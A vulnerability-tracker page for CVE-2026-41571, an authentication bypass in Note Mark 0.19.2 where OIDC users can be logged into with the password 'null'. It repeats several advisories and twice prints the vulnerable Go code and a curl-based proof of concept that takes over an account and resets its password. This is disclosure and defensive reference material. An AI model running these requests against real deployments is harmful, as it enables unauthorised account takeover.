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CVE-2026-41571

Note Mark: OIDC-registered users authenticated by submitting password "null"

9.4 CriticalFix available

Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

0.37%Up 0.3 points since May 5, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.4

Note Mark: OIDC-registered users authenticated by submitting password "null"

Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.

Record
CVE-2026-41571
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-287
Updated
2026-11-02
EUVDEUVD-2026-27051 9.4

Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.

Record
EUVD-2026-27051
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-pxf8-6wqm-r6hh 9.4

Note Mark: OIDC-registered users authenticated by submitting password "null"

Summary

IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:

var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)

IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:

func (u *User) IsPasswordMatch(plainPassword string) bool {
    var current []byte
    if len(u.Password) == 0 {
        // prevent CWE-208
        current = nullPasswordHash
    } else {
        current = u.Password
    }
    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
        return true
    }
    return false
}

OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:

return db.DB.Transaction(func(tx *gorm.DB) error {
    user := db.User{
        Username: username,
        Password: []byte(""),
    }
    // ...
})

The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.

EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.

Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.

docker run -d --name note-mark-poc \
  -e OIDC__PROVIDER_NAME=example \
  -e OIDC__CLIENT_ID=note-mark \
  -e OIDC__CLIENT_SECRET=secret \
  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \
  -e OIDC__ENABLE_USER_CREATION=true \
  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").

Step 3: Bob confirms the preconditions.

curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}

Step 4: Bob logs in as Alice via the internal endpoint.

curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'

Response:

HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict

Step 5: Bob uses the cookie to read Alice's account.

curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}

Step 6: Bob persists access by writing his own password onto Alice's row.

curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No…
Record
GHSA-pxf8-6wqm-r6hh
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-287
Updated
2026-11-02
NVD 9.4

Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.

Record
CVE-2026-41571
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-287
Updated
2026-11-02
OSV 9.4

Note Mark: OIDC-registered users authenticated by submitting password "null"

Note Mark is an open-source note-taking application. In version 0.19.2, IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. This issue has been patched in version 0.19.3.

Record
CVE-2026-41571
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-287
Updated
2026-11-02
OSVGHSA-pxf8-6wqm-r6hh 9.4

Note Mark: OIDC-registered users authenticated by submitting password "null"

Summary

IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:

var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)

IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:

func (u *User) IsPasswordMatch(plainPassword string) bool {
    var current []byte
    if len(u.Password) == 0 {
        // prevent CWE-208
        current = nullPasswordHash
    } else {
        current = u.Password
    }
    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
        return true
    }
    return false
}

OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:

return db.DB.Transaction(func(tx *gorm.DB) error {
    user := db.User{
        Username: username,
        Password: []byte(""),
    }
    // ...
})

The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.

EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.

Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.

docker run -d --name note-mark-poc \
  -e OIDC__PROVIDER_NAME=example \
  -e OIDC__CLIENT_ID=note-mark \
  -e OIDC__CLIENT_SECRET=secret \
  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \
  -e OIDC__ENABLE_USER_CREATION=true \
  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").

Step 3: Bob confirms the preconditions.

curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}

Step 4: Bob logs in as Alice via the internal endpoint.

curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'

Response:

HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict

Step 5: Bob uses the cookie to read Alice's account.

curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}

Step 6: Bob persists access by writing his own password onto Alice's row.

curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No…
Record
GHSA-pxf8-6wqm-r6hh
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-287
Updated
2026-11-02
OSVGO-2026-5557 No score

Note Mark: OIDC-registered users authenticated by submitting password "null" in github.com/enchant97/note-mark/backend

Note Mark: OIDC-registered users authenticated by submitting password "null" in github.com/enchant97/note-mark/backend

Record
GO-2026-5557
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/enchant97/note-mark/backend
Go
 before 0.0.0-20260417132909-dea5530cc989
0.0.0-20260417132909-dea5530cc989
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41571 is a critical vulnerability (CVSS 9.4) in Enchant97 Note-mark, published April 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 30th percentile. Fixed in github.com/enchant97/note-mark/backend 0.0.0-20260417132909-dea5530cc989.

References

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